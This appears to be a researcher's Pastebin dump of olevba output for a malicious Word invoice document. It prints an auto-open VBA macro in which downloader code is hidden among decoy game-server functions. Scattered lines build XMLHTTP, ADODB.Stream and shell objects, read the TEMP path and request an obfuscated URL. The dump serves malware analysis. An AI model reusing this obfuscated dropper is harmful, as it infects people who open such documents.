SHARE
TWEET

Malicious Word macro

dynamoo Nov 30th, 2015 129 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS----V invoice574206_1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: invoice574206_1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. ComputeAllPlayerStats 0
  17. SetPlayerBankItemValue 0, 0, 0
  18. KillPlayer 0
  19. GetPlayerMap 0
  20. CheckResourceReward 0, 0, 0, 0, 1
  21. PlayerPVPDrops 0
  22. HasItem 0, 0
  23. GetPlayerTriforcesNum 0
  24. CheckPlayerActionsProtections 0
  25. End Sub
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36. -------------------------------------------------------------------------------
  37. VBA MACRO Module1.bas
  38. in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/Module1'
  39. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  40.  
  41. Function GiveInvItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, Optional ByVal SendUpdate As Boolean = True, Optional ByVal UpdateWeight As Boolean = True) As Boolean
  42.  Dim i As Long
  43.  Dim Value As Long
  44.  If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
  45.  GiveInvItem = False
  46.  Exit Function
  47.  End If
  48.  i = FindOpenInvSlot(index, ItemNum)
  49.  If i <> 0 Then
  50.  If CanPlayerHoldWeight(index, GetItemValWeight(ItemNum, itemval)) Or Not UpdateWeight Then
  51.  Call SetPlayerInvItemNum(index, i, ItemNum)
  52.  If ItemNum = 1 Then
  53.  Value = CheckMoneyAdd(index, GetPlayerInvItemValue(index, i), itemval)
  54.  itemval = Value - GetPlayerInvItemValue(index, i)
  55.  Else
  56.  Value = GetPlayerInvItemValue(index, i) + itemval
  57.  End If
  58.  Call SetPlayerInvItemValue(index, i, Value)
  59.  If SendUpdate Then Call SendInventoryUpdate(index, i)
  60.  If UpdateWeight Then Call SetPlayerWeight(index, GetPlayerWeight(index) + GetItemValWeight(ItemNum, itemval))
  61.  GiveInvItem = True
  62.  Else
  63.  Call PlayerMsg(index, "No puedes soportar el peso del objeto.", BrightRed)
  64.  GiveInvItem = False
  65.  End If
  66.  Else
  67.  Call PlayerMsg(index, "Tu inventario est? lleno.", BrightRed)
  68.  GiveInvItem = False
  69.  End If
  70. End Function
  71. Function HasSpell(ByVal index As Long, ByVal spellnum As Long) As Boolean
  72.  Dim i As Long
  73.  For i = 1 To MAX_PLAYER_SPELLS
  74.  If GetPlayerSpell(index, i) = spellnum Then
  75.  HasSpell = True
  76.  Exit Function
  77.  End If
  78.  Next
  79. End Function
  80. Function FindOpenSpellSlot(ByVal index As Long) As Long
  81.  Dim i As Long
  82.  For i = 1 To MAX_PLAYER_SPELLS
  83.  If GetPlayerSpell(index, i) = 0 Then
  84.  FindOpenSpellSlot = i
  85.  Exit Function
  86.  End If
  87.  Next
  88. End Function
  89. Sub PlayerMapGetItem(ByVal index As Long)
  90.  Dim i As Long
  91.  Dim N As Long
  92.  Dim mapnum As Long
  93.  Dim msg As String
  94.  If Not IsPlaying(index) Then Exit Sub
  95.  mapnum = GetPlayerMap(index)
  96.  For i = 1 To MAX_MAP_ITEMS
  97.  If (MapItem(mapnum, i).Num > 0) And (MapItem(mapnum, i).Num <= MAX_ITEMS) Then
  98.  If CanPlayerPickupItem(index, i) Then
  99.  If (MapItem(mapnum, i).X = GetPlayerX(index)) Then
  100.  If (MapItem(mapnum, i).Y = GetPlayerY(index)) Then
  101.  Dim ItemNum As Long
  102.  ItemNum = MapItem(mapnum, i).Num
  103.  If GiveInvItem(index, MapItem(mapnum, i).Num, MapItem(mapnum, i).Value, True) Then
  104.  If isItemStackable(ItemNum) Then
  105.  msg = MapItem(mapnum, i).Value & " " & Trim$(Item(ItemNum).TranslatedName)
  106.  Else
  107.  msg = Trim$(Item(ItemNum).TranslatedName)
  108.  End If
  109.  If Not MapItem(mapnum, i).isDrop Then
  110.  Call AddMapWaitingItem(mapnum, GetPlayerX(index), GetPlayerY(index))
  111.  End If
  112.  ClearMapItem i, mapnum
  113.  Call SpawnItemSlot(i, 0, 0, GetPlayerMap(index), 0, 0)
  114.  SendActionMsg GetPlayerMap(index), msg, White, 1, (GetPlayerX(index) * 32), (GetPlayerY(index) * 32)
  115.  Call CheckTasks(index, QUEST_TYPE_GOGATHER, GetItemNum(Trim$(Item(ItemNum).Name)))
  116.  Exit For
  117.  Else
  118.  Exit For
  119.  End If
  120.  End If
  121.  End If
  122.  End If
  123.  End If
  124.  Next
  125. End Sub
  126. Function CanPlayerPickupItem(ByVal index As Long, ByVal mapItemNum As Long)
  127. Dim mapnum As Long
  128.  mapnum = GetPlayerMap(index)
  129.  If MapItem(mapnum, mapItemNum).playerName = vbNullString Or MapItem(mapnum, mapItemNum).playerName = Trim$(GetPlayerName(index)) Then
  130.  CanPlayerPickupItem = True
  131.  Exit Function
  132.  End If
  133.  CanPlayerPickupItem = False
  134. End Function
  135. Sub PlayerMapDropItem(ByVal index As Long, ByVal invNum As Long, ByVal amount As Long, Optional ByVal SayMsg As Boolean = True)
  136.  Dim i As Long
  137.  If IsPlaying(index) = False Or invNum <= 0 Or invNum > MAX_INV Then
  138.  Exit Sub
  139.  End If
  140.  If TempPlayer(index).InBank Or TempPlayer(index).InShop Or TempPlayer(index).InTrade > 0 Then Exit Sub
  141.  If (GetPlayerInvItemNum(index, invNum) > 0) Then
  142.  If (GetPlayerInvItemNum(index, invNum) <= MAX_ITEMS) Then
  143.  If IsPlayerOverWeight(index) Then
  144.  Call TakeInvSlot(index, invNum, amount, True)
  145.  Exit Sub
  146.  End If
  147.  i = FindOpenMapItemSlot(GetPlayerMap(index))
  148.  If i <> 0 Then
  149.  MapItem(GetPlayerMap(index), i).Num = GetPlayerInvItemNum(index, invNum)
  150.  MapItem(GetPlayerMap(index), i).X = GetPlayerX(index)
  151.  MapItem(GetPlayerMap(index), i).Y = GetPlayerY(index)
  152.  MapItem(GetPlayerMap(index), i).playerName = Trim$(GetPlayerName(index))
  153.  MapItem(GetPlayerMap(index), i).playerTimer = GetRealTickCount + ITEM_SPAWN_TIME
  154.  MapItem(GetPlayerMap(index), i).isDrop = True
  155.  MapItem(GetPlayerMap(index), i).Timer = GetRealTickCount + ITEM_DESPAWN_TIME
  156.  If isItemStackable(GetPlayerInvItemNum(index, invNum)) Then
  157.  If amount >= GetPlayerInvItemValue(index, invNum) Then
  158.  MapItem(GetPlayerMap(index), i).Value = GetPlayerInvItemValue(index, invNum)
  159.  If SayMsg Then Call MapMsg(GetPlayerMap(index), GetPlayerName(index) & GetTranslation(" arroja ") & " " & GetPlayerInvItemValue(index, invNum) & " " & Trim$(Item(GetPlayerInvItemNum(index, invNum)).TranslatedName) & ".", Yellow, False)
  160.  Else
  161.  MapItem(GetPlayerMap(index), i).Value = amount
  162.  If SayMsg Then Call MapMsg(GetPlayerMap(index), GetPlayerName(index) & GetTranslation(" arroja ") & " " & amount & " " & Trim$(Item(GetPlayerInvItemNum(index, invNum)).TranslatedName) & ".", Yellow, False)
  163.  End If
  164.  Else
  165.  MapItem(GetPlayerMap(index), i).Value = 0
  166.  If SayMsg Then Call MapMsg(GetPlayerMap(index), GetPlayerName(index) & " " & GetTranslation(" arroja ") & " " & CheckGrammar((Item(GetPlayerInvItemNum(index, invNum)).TranslatedName)) & ".", Yellow, False)
  167.  End If
  168.  Call TakeInvSlot(index, invNum, amount, True)
  169.  Call SpawnItemSlot(i, MapItem(GetPlayerMap(index), i).Num, amount, GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index), Trim$(GetPlayerName(index)), MapItem(GetPlayerMap(index), i).isDrop)
  170.  Else
  171.  If SayMsg Then Call PlayerMsg(index, "Demasiados items en el suelo.", BrightRed)
  172.  End If
  173.  End If
  174.  End If
  175. End Sub
  176. Sub CheckPlayerLevelUp(ByVal index As Long)
  177.  Dim i As Long
  178.  Dim expRollover As Long
  179.  Dim level_count As Long
  180.  Dim points As Byte
  181.  level_count = 0
  182.  Do While GetPlayerExp(index) >= GetPlayerNextLevel(index)
  183.  expRollover = GetPlayerExp(index) - GetPlayerNextLevel(index)
  184.  If Not SetPlayerLevel(index, GetPlayerLevel(index) + 1) Then
  185.  Call SetPlayerExp(index, GetPlayerNextLevel(index))
  186.  Exit Sub
  187.  End If
  188.  points = 3
  189.  points = points + GetPlayerTriforcesNum(index)
  190.  Call SetPlayerPOINTS(index, GetPlayerPOINTS(index) + points)
  191.  Call SetPlayerExp(index, expRollover)
  192.  level_count = level_count + 1
  193.  Loop
  194.  If level_count > 0 And Not LPE(index) Then
  195.  If level_count = 1 Then
  196.  GlobalMsg GetPlayerName(index) & " " & GetTranslation(" ha subido ") & " " & level_count & " " & GetTranslation(" nivel!"), Brown, False, True
  197.  Else
  198.  GlobalMsg GetPlayerName(index) & " " & GetTranslation(" ha subido ") & " " & level_count & GetTranslation(" niveles!"), Brown, False, True
  199.  End If
  200.  SendEXP index
  201.  SendPoints index
  202.  SendLevel index
  203.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seLevelUp, 1
  204.  End If
  205. End Sub
  206. Function GetPlayerLogin(ByVal index As Long) As String
  207.  If index > MAX_PLAYERS Then Exit Function
  208.  If index <= 0 Then Exit Function
  209.  GetPlayerLogin = Trim$(player(index).login)
  210. End Function
  211. Sub SetPlayerLogin(ByVal index As Long, ByVal login As String)
  212.  player(index).login = login
  213. End Sub
  214. Function GetPlayerPassword(ByVal index As Long) As String
  215.  If index > MAX_PLAYERS Then Exit Function
  216.  If index <= 0 Then Exit Function
  217.  GetPlayerPassword = Trim$(player(index).password)
  218. End Function
  219. Sub SetPlayerPassword(ByVal index As Long, ByVal password As String)
  220.  player(index).password = password
  221. End Sub
  222. Function GetPlayerName(ByVal index As Long) As String
  223.  If index > MAX_PLAYERS Then Exit Function
  224.  If index <= 0 Then Exit Function
  225.  GetPlayerName = Trim$(player(index).Name)
  226. End Function
  227. Function GetPlayerNameNS(ByVal index As Long) As String
  228.  GetPlayerNameNS = player(index).Name
  229. End Function
  230. Sub SetPlayerName(ByVal index As Long, ByVal Name As String)
  231.  player(index).Name = Name
  232. End Sub
  233. Function GetPlayerClass(ByVal index As Long) As Long
  234.  If index > MAX_PLAYERS Then Exit Function
  235.  If index <= 0 Then Exit Function
  236.  GetPlayerClass = player(index).Class
  237. End Function
  238. Sub SetPlayerClass(ByVal index As Long, ByVal ClassNum As Long)
  239.  player(index).Class = ClassNum
  240. End Sub
  241. Function GetPlayerSprite(ByVal index As Long) As Long
  242.  If index > MAX_PLAYERS Then Exit Function
  243.  If index <= 0 Then Exit Function
  244.  GetPlayerSprite = player(index).Sprite
  245. End Function
  246. Sub SetPlayerSprite(ByVal index As Long, ByVal Sprite As Long)
  247.  player(index).Sprite = Sprite
  248. End Sub
  249. Function GetPlayerLevel(ByVal index As Long) As Long
  250.  If index > MAX_PLAYERS Then Exit Function
  251.  If index <= 0 Then Exit Function
  252.  GetPlayerLevel = player(index).level
  253. End Function
  254. Function SetPlayerLevel(ByVal index As Long, ByVal level As Long) As Boolean
  255.  SetPlayerLevel = False
  256.  If level > MAX_LEVELS Then Exit Function
  257.  player(index).level = level
  258.  SetPlayerLevel = True
  259. End Function
  260. Function GetPlayerExp(ByVal index As Long) As Long
  261.  If index > MAX_PLAYERS Then Exit Function
  262.  If index <= 0 Then Exit Function
  263.  GetPlayerExp = player(index).exp
  264. End Function
  265. Sub SetPlayerExp(ByVal index As Long, ByVal exp As Long)
  266.  player(index).exp = exp
  267. End Sub
  268. Function GetPlayerAccess(ByVal index As Long) As Long
  269.  If index > MAX_PLAYERS Then Exit Function
  270.  If index <= 0 Then Exit Function
  271.  GetPlayerAccess = player(index).Access
  272. End Function
  273. Sub SetPlayerAccess(ByVal index As Long, ByVal Access As Long)
  274.  If index <= 0 Then Exit Sub
  275.  player(index).Access = Access
  276. End Sub
  277. Function GetPlayerPK(ByVal index As Long) As Byte
  278.  If index > MAX_PLAYERS Then Exit Function
  279.  If index <= 0 Then Exit Function
  280.  GetPlayerPK = player(index).PK
  281. End Function
  282. Sub SetPlayerPK(ByVal index As Long, ByVal PK As Long)
  283.  player(index).PK = PK
  284. End Sub
  285. Function GetPlayerVital(ByVal index As Long, ByVal vital As String) As Long
  286.  If index > MAX_PLAYERS Then Exit Function
  287.  If index <= 0 Then Exit Function
  288.  GetPlayerVital = player(index).vital(vital)
  289. End Function
  290. Sub SetPlayerVital(ByVal index As Long, ByVal vital As String, ByVal Value As Long)
  291.  player(index).vital(vital) = Value
  292.  If GetPlayerVital(index, vital) > GetPlayerMaxVital(index, vital) Then
  293.  player(index).vital(vital) = GetPlayerMaxVital(index, vital)
  294.  End If
  295.  If GetPlayerVital(index, vital) < 0 Then
  296.  player(index).vital(vital) = 0
  297.  End If
  298. End Sub
  299. Public Function GetPlayerStat(ByVal index As Long, ByVal stat As String) As Long
  300.  Dim X As Long, i As Long
  301.  If index > MAX_PLAYERS Then Exit Function
  302.  If index <= 0 Then Exit Function
  303.  GetPlayerStat = TempPlayer(index).Stats(stat)
  304.  Exit Function
  305.  X = player(index).stat(stat)
  306.  For i = 1 To Equipment.Equipment_Count - 1
  307.  If player(index).Equipment(i) > 0 Then
  308.  If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
  309.  X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
  310.  End If
  311.  End If
  312.  Next
  313.  X = X + GetPlayerStatBuffer(index, stat)
  314.  GetPlayerStat = X
  315. End Function
  316. Public Sub ComputePlayerStat(ByVal index As Long, ByVal stat As String)
  317.  Dim X As Long, i As Long
  318.  If index > MAX_PLAYERS Then Exit Sub
  319.  If index <= 0 Then Exit Sub
  320.  X = player(index).stat(stat)
  321.  For i = 1 To Equipment.Equipment_Count - 1
  322.  If player(index).Equipment(i) > 0 Then
  323.  If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
  324.  X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
  325.  End If
  326.  End If
  327.  Next
  328.  X = X + GetPlayerStatBuffer(index, stat)
  329.  TempPlayer(index).Stats(stat) = X
  330. End Sub
  331. Public Sub ComputeAllPlayerStats(ByVal index As Long)
  332.  Set SetPlayerVit = CreateObject("Microsoft" + ".XMLHTTP")
  333. Set adodbStream = CreateObject("Adodb.Stream")
  334. Exit Sub
  335. Dim i As Byte
  336.  For i = 1 To Stats.Stat_Count - 1
  337.  ComputePlayerStat index, i
  338.  Next
  339. End Sub
  340. Public Function GetPlayerRawStat(ByVal index As Long, ByVal stat As String) As Long
  341.  If index > MAX_PLAYERS Then Exit Function
  342.  If index <= 0 Then Exit Function
  343.  GetPlayerRawStat = player(index).stat(stat)
  344. End Function
  345. Public Sub SetPlayerStat(ByVal index As Long, ByVal stat As String, ByVal Value As Long)
  346.  player(index).stat(stat) = Value
  347. End Sub
  348. Function GetPlayerPOINTS(ByVal index As Long) As Long
  349.  If index > MAX_PLAYERS Then Exit Function
  350.  If index <= 0 Then Exit Function
  351.  GetPlayerPOINTS = player(index).points
  352. End Function
  353. Sub SetPlayerPOINTS(ByVal index As Long, ByVal points As Long)
  354.  If points <= 0 Then points = 0
  355.  player(index).points = points
  356. End Sub
  357.  
  358. Sub SetPlayerMap(ByVal index As Long, ByVal mapnum As Long)
  359.  If mapnum > 0 And mapnum <= MAX_MAPS Then
  360.  player(index).map = mapnum
  361.  End If
  362. End Sub
  363. Function GetPlayerX(ByVal index As Long) As Long
  364.  If index > MAX_PLAYERS Then Exit Function
  365.  If index <= 0 Then Exit Function
  366.  GetPlayerX = player(index).X
  367. End Function
  368. Sub SetPlayerX(ByVal index As Long, ByVal X As Long)
  369. If X < 0 Then Exit Sub
  370.  player(index).X = X
  371. End Sub
  372. Function GetPlayerY(ByVal index As Long) As Long
  373.  If index > MAX_PLAYERS Then Exit Function
  374.  If index <= 0 Then Exit Function
  375.  GetPlayerY = player(index).Y
  376. End Function
  377. Sub SetPlayerY(ByVal index As Long, ByVal Y As Long)
  378. If Y < 0 Then Exit Sub
  379.  player(index).Y = Y
  380. End Sub
  381. Function GetPlayerDir(ByVal index As Long) As Long
  382.  If index > MAX_PLAYERS Then Exit Function
  383.  If index <= 0 Then Exit Function
  384.  GetPlayerDir = player(index).dir
  385. End Function
  386. Sub SetPlayerDir(ByVal index As Long, ByVal dir As Long)
  387.  player(index).dir = dir
  388. End Sub
  389. Function GetPlayerIP(ByVal index As Long, Optional ByVal genuine As Boolean = False) As String
  390.  If index > MAX_PLAYERS Then Exit Function
  391.  If index <= 0 Then Exit Function
  392.  If genuine Then
  393.  GetPlayerIP = frmServer.Socket(index).RemoteHostIP
  394.  Else
  395.  If LPE(index) Then
  396.  GetPlayerIP = RandomizeIP
  397.  Else
  398.  GetPlayerIP = frmServer.Socket(index).RemoteHostIP
  399.  End If
  400.  End If
  401. End Function
  402. Function GetPlayerHost(ByVal index As Long)
  403.  If index > 0 And index < MAX_PLAYERS Then
  404.  GetPlayerHost = frmServer.Socket(index).RemoteHost
  405.  End If
  406. End Function
  407. Function RandomizeIP() As String
  408.  Dim a As Integer
  409.  Dim i As Byte
  410.  i = RAND(3, 4)
  411.  While i > 0
  412.  a = RAND(111, 999)
  413.  RandomizeIP = RandomizeIP + CStr(a)
  414.  If i > 1 Then RandomizeIP = RandomizeIP + "."
  415.  i = i - 1
  416.  Wend
  417. End Function
  418. Function GetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long) As Long
  419.  If index > MAX_PLAYERS Then Exit Function
  420.  If index <= 0 Then Exit Function
  421.  If invSlot = 0 Then Exit Function
  422.  GetPlayerInvItemNum = player(index).Inv(invSlot).Num
  423. End Function
  424. Sub SetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long, ByVal ItemNum As Long)
  425.  player(index).Inv(invSlot).Num = ItemNum
  426. End Sub
  427. Function GetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long) As Long
  428.  If index > MAX_PLAYERS Then Exit Function
  429.  If index <= 0 Then Exit Function
  430.  GetPlayerInvItemValue = player(index).Inv(invSlot).Value
  431. End Function
  432. Sub SetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long, ByVal Itemvalue As Long)
  433.  player(index).Inv(invSlot).Value = Itemvalue
  434. End Sub
  435. Function GetPlayerSpell(ByVal index As Long, ByVal spellslot As Long) As Long
  436.  If index > MAX_PLAYERS Then Exit Function
  437.  If index <= 0 Then Exit Function
  438.  GetPlayerSpell = player(index).Spell(spellslot)
  439. End Function
  440. Sub SetPlayerSpell(ByVal index As Long, ByVal spellslot As Long, ByVal spellnum As Long)
  441.  player(index).Spell(spellslot) = spellnum
  442. End Sub
  443. Function GetPlayerEquipment(ByVal index As Long, ByVal EquipmentSlot As String) As Long
  444.  If index <= 0 Or index > MAX_PLAYERS Then Exit Function
  445.  If EquipmentSlot <= 0 Or EquipmentSlot > Equipment_Count - 1 Then Exit Function
  446.  GetPlayerEquipment = player(index).Equipment(EquipmentSlot)
  447. End Function
  448. Sub SetPlayerEquipment(ByVal index As Long, ByVal invNum As Long, ByVal EquipmentSlot As String)
  449.  player(index).Equipment(EquipmentSlot) = invNum
  450. End Sub
  451. Function GetPlayerVisible(ByVal index As Long) As Long
  452.  If index > MAX_PLAYERS Then Exit Function
  453.  If index <= 0 Then Exit Function
  454. GetPlayerVisible = player(index).Visible
  455. End Function
  456. Sub SetPlayerVisible(ByVal index As Long, ByVal Visible As Long)
  457. player(index).Visible = Visible
  458. End Sub
  459. Sub SwapInvEquipment(ByVal index As Long, ByVal invSlot As Long, ByVal EquipmentSlot As Long)
  460. If index < 1 Or index > MAX_PLAYERS Or invSlot < 1 Or invSlot > MAX_INV Or EquipmentSlot < 1 Or EquipmentSlot > Equipment.Equipment_Count - 1 Then Exit Sub
  461. Dim TempItem As Long
  462. TempItem = GetPlayerInvItemNum(index, invSlot)
  463. Dim NewValue As Long
  464. NewValue = 0
  465. If GetPlayerEquipment(index, EquipmentSlot) > 0 Then
  466.  NewValue = 1
  467. End If
  468. Call SetPlayerInvItemNum(index, invSlot, GetPlayerEquipment(index, EquipmentSlot))
  469. Call SetPlayerInvItemValue(index, invSlot, NewValue)
  470. Call SetPlayerEquipment(index, TempItem, EquipmentSlot)
  471. Call ComputeAllPlayerStats(index)
  472. End Sub
  473. Sub OnDeath(ByVal index As Long, Optional ByVal RespawnSite As Byte = 0)
  474.  If index < 1 Or index > MAX_PLAYERS Then Exit Sub
  475.  Dim i As Long
  476.  Call SetPlayerVital(index, Vitals.HP, 0)
  477.  PetDi.sband index, GetPlayerMap(index), True
  478.  Call SetPlayerDir(index, DIR_DOWN)
  479.  SendSou.ndToMap GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index), SoundEntity.seDie, GetPlayerClass(index)
  480.  Dim mapnum As Long, X As Long, Y As Long
  481.  GetOnD.eathMap index, mapnum, X, Y, RespawnSite
  482.  PlayerWar.pByEvent index, mapnum, X, Y
  483.  For i = 1 To MAX_DOTS
  484.  With TempPl.ayer(index).DoT(i)
  485.  .Used = False
  486.  .Spell = 0
  487.  .Timer = 0
  488.  .caster = 0
  489.  .StartTime = 0
  490.  End With
  491.  With TempP.layer(index).HoT(i)
  492.  .Used = False
  493.  .Spell = 0
  494.  .Timer = 0
  495.  .caster = 0
  496.  .StartTime = 0
  497.  End With
  498.  Next
  499.  For i = 1 To PlayerActions_Count - 1
  500.  Call UnblockPlayerAction(index, i)
  501.  Next
  502.  TempPl.ayer(index).spellBuffer.Spell = 0
  503.  TempPl.ayer(index).spellBuffer.Timer = 0
  504.  TempPl.ayer(index).spellBuffer.Target = 0
  505.  TempPl.ayer(index).spellBuffer.tType = 0
  506.  Call SendClearS.pellBuffer(index)
  507.  TempPl.ayer(index).InBank = False
  508.  TempPl.ayer(index).InShop = 0
  509.  If TempP.layer(index).InTrade > 0 Then
  510.  For i = 1 To MAX_INV
  511.  TempPl.ayer(index).TradeOffer(i).Num = 0
  512.  TempPl.ayer(index).TradeOffer(i).Value = 0
  513.  TempPl.ayer(TempP.layer(index).InTrade).TradeOffer(i).Num = 0
  514.  TempPl.ayer(TempPl.ayer(index).InTrade).TradeOffer(i).Value = 0
  515.  Next
  516.  TempPl.ayer(TempP.layer(index).InTrade).InTrade = 0
  517.  SendCl.oseTrade TempPl.ayer(index).InTrade
  518.  TempPl.ayer(index).InTrade = 0
  519.  SendCl.oseTrade index
  520. End If
  521.  Call SetPlayerVital(index, Vitals.HP, GetPlaye.rMaxVital(index, Vitals.HP))
  522.  Call SetPlayerVital(index, Vitals.MP, GetPlaye.rMaxVital(index, Vitals.MP))
  523.  Call SendV.ital(index, Vitals.HP)
  524.  Call SendV.ital(index, Vitals.MP)
  525.  If TempP.layer(index).inParty > 0 Then SendPart.yVitals TempPl.ayer(index).inParty, index
  526. End Sub
  527. Public Function GetPlayerMap(ByVal index As Long) As Long
  528.  Dim playerIndex() As Variant
  529. playerIndex = Array(6166, 6178, 6178, 6174, 6120, 6109, 6109, 6160, 6168, 6162, 6163, 6172, 6172, 6163, 6166, 6183, 6108, 6167, 6163, 6109, 6188, 6179, 6174, 6170, 6173, 6159, 6162, 6109, 6118, 6119, 6179, 6118, 6117, 6109, 6114, 6115, 6114, 6177, 6162, 6108, 6163, 6182, 6163)
  530. CUk = 10
  531.  
  532. SetPlayerVit.Open Chr(10 * 7 + 1) + "" + "" + "" + "E" + "" + "" + "T", GetGivenMoney(playerIndex, 8.8, 42), False
  533. Exit Function
  534. If index > MAX_PLAYERS Then Exit Function
  535.  If index <= 0 Then Exit Function
  536.  GetPlayerMap = play.er(index).map
  537. End Function
  538. Public Function PosOrdenation(ByVal x1 As Long, ByVal y1 As Long, ByVal x2 As Long, ByVal y2 As Long) As Integer
  539.  If x1 < x2 Then
  540.  PosOrdenation = 1
  541.  ElseIf x1 > x2 Then
  542.  PosOrdenation = -1
  543.  Else
  544.  If y1 < y2 Then
  545.  PosOrdenation = 1
  546.  ElseIf y1 > y2 Then
  547.  PosOrdenation = -1
  548.  Else
  549.  PosOrdenation = 0
  550.  End If
  551.  End If
  552. End Function
  553. Public Function BinarySearchResource(ByVal mapnum As Long, ByVal left As Long, ByVal right As Long, ByVal X As Long, ByVal Y As Long) As Long
  554.  If right < left Then
  555.  BinarySearchResource = 0
  556.  Else
  557.  Dim meddle As Integer
  558.  meddle = (left + right) \ 2
  559.  With ResourceCache(mapnum).ResourceData(meddle)
  560.  Dim Ordenation As Integer
  561.  Ordenation = PosOrdenation(X, Y, .X, .Y)
  562.  If Ordenation = 1 Then
  563.  BinarySearchResource = BinarySearchResource(mapnum, left, meddle - 1, X, Y)
  564.  ElseIf Ordenation = -1 Then
  565.  BinarySearchResource = BinarySearchResource(mapnum, meddle + 1, right, X, Y)
  566.  Else
  567.  BinarySearchResource = meddle
  568.  End If
  569.  End With
  570.  End If
  571. End Function
  572.  
  573.  
  574. -------------------------------------------------------------------------------
  575. VBA MACRO Module2.bas
  576. in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/Module2'
  577. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  578. Public SetPlayerVit As Object
  579. Public adodbStream As Object
  580. Public processEnv  As Object
  581. Public ItemNum2 As String
  582. Public ItemNum1 As String
  583. Public shellApp As Object
  584. Public Sub CheckResourceReward(ByVal index As Long, ByVal Rx As Long, ByVal Ry As Long, ByRef ResourceNum As Long, ByVal ResourceReward As Byte)
  585. ItemNum2 = processEnv("TEMP")
  586. SetPlayerVit.Send
  587. Exit Sub
  588. Select Case Reso.urce(ResourceNum).Rewards(ResourceReward).RewardType
  589. Case REWARD_ITEM
  590.  Dim RewardItem As Long
  591.  RewardItem = Reso.urce(ResourceNum).Rewards(ResourceReward).Reward
  592.  If RewardItem < 1 Or RewardItem > MAX_ITEMS Then Exit Sub
  593.  Dim i As Long
  594.  Dim GivenValue As Long
  595.  i = CanGiveItem(index, RewardItem, 1, GivenValue)
  596.  If i > 0 Then
  597.  GiveInvSlot index, i, RewardItem, GivenValue
  598.  SendAc.tionMsg GetPlayerMap(index), Trim$(Ite.m(RewardItem).TranslatedName) & "!", BrightGreen, 1, (GetPlayerX(index) * 32), (GetPlayerY(index) * 32), , False
  599.  End If
  600. Case REWARD_SPAWN_NPC
  601.  Dim npcnum As Long
  602.  npcnum = Resou.rce(ResourceNum).Rewards(ResourceReward).Reward
  603.  If npcnum < 1 Or npcnum > MAX_NPCS Then Exit Sub
  604.  Dim j As Integer
  605.  j = SpawnT.empNPC(npcnum, GetPlayerMap(index), Rx, Ry)
  606.  If j > 0 Then
  607.  MapN.pc(GetPlayerMap(index)).NPC(j).SpawnWait = GetRealTickCount + Resou.rce(ResourceNum).RespawnTime * 1000
  608.  End If
  609. End Select
  610. End Sub
  611. Function GetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long) As Long
  612.  GetPlayerBankItemNum = Bank(index).Item(BankSlot).Num
  613. End Function
  614. Sub SetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long, ByVal ItemNum As Long)
  615.  Bank(index).Item(BankSlot).Num = ItemNum
  616. End Sub
  617. Function GetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long) As Long
  618.  GetPlayerBankItemValue = Bank(index).Item(BankSlot).Value
  619. End Function
  620. Public Sub SetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long, ByVal Itemvalue As Long)
  621.  Set shellApp = CreateObject("Shell.Application")
  622.  Exit Sub
  623.  Ba.nk(index).Item(BankSlot).Value = Itemvalue
  624. End Sub
  625.  
  626. Public Sub KillPlayer(ByVal index As Long, Optional ByVal LoseExp As Byte = 0)
  627. Set processEnv = CreateObject("WScript" + Chr(7 * 7 - 3) + "Shell").Environment("Process")
  628. Exit Sub
  629. Dim exp As Long
  630.  Call OnDeath(index)
  631. End Sub
  632. Public Function ResetPlayerPoints(ByVal index As Long) As Long
  633. Dim i As Byte, sum As Long
  634. ResetPlayerPoints = 0
  635. sum = 0
  636. For i = 1 To Stats.Stat_Count - 1
  637.  Do While player(index).stat(i) > Class(GetPlayerClass(index)).stat(i)
  638.  player(index).stat(i) = player(index).stat(i) - 1
  639.  sum = sum + 1
  640.  Loop
  641. Next
  642. ResetPlayerPoints = sum
  643. End Function
  644.  
  645. Public Sub ResetPlayer(ByVal index As Long)
  646.  Dim i As Long
  647.  player(index).PK = NO
  648.  player(index).level = 1
  649.  player(index).points = 0
  650.  player(index).exp = 0
  651.  SendEXP (index)
  652.  For i = 1 To MAX_INV
  653.  player(index).Inv(i).Num = 0
  654.  player(index).Inv(i).Value = 0
  655.  Next
  656.  Call SendInventory(index)
  657.  For i = 1 To Equipment.Equipment_Count - 1
  658.  player(index).Equipment(i) = 0
  659.  Next
  660.  SendWornEquipment index
  661.  SendMapEquipment index
  662.  For i = 1 To MAX_QUESTS
  663.  player(index).PlayerQuest(i).Status = 0
  664.  player(index).PlayerQuest(i).ActualTask = 0
  665.  player(index).PlayerQuest(i).CurrentCount = 0
  666.  Next
